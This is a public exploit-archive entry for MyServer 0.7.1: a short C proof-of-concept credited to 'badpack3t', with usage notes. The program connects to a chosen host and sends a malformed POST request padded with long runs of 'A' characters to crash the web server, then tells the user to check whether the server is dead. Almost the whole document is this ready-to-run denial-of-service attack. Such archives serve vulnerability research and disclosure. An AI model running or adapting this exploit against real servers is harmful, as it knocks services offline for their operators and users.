MyServer 0.7.1 - 'POST' Denial of Service

/****************************/
PoC to crash the server
/****************************/

/* MyServer 0.7.1 POST Denial Of Service
vendor URL:
http://www.myserverproject.net

coded and discovered by:
badpack3t
for .:sp research labs:.
www.security-protocols.com
9.20.2004
Tested on Mandrake 10.0

usage:
sp-myserv-0.7.1 [targetport] (default is 80)
*/

#include <'winsock2.h>
#include <'stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] =

"POST index.html?View=Logon HTTP/1.1 "
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
": ihack.ms ";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET mysocket;

if (argc < 2)
{
printf("MyServer 0.7.1 POST DoS by badpack3t ", argv[0]);
printf("Usage: %s [targetport] (default is 80) ", argv[0]);
printf("www.security-protocols.com ", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 80;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf("Socket error! ");
exit(1);
}

printf("Resolving Hostnames... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("Resolve of %s failed ", argv[1]);
exit(1);
}

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("Connecting... ");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host. ");
exit(1);
}

printf("Connected!... ");
printf("Sending Payload... ");
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
{
printf("Error Sending the Exploit Payload ");
closesocket(mysocket);
exit(1);
}

printf("Payload has been sent! Check if the webserver is dead! ");
closesocket(mysocket);
WSACleanup();
return 0;
}

// milw0rm.com [2004-09-27]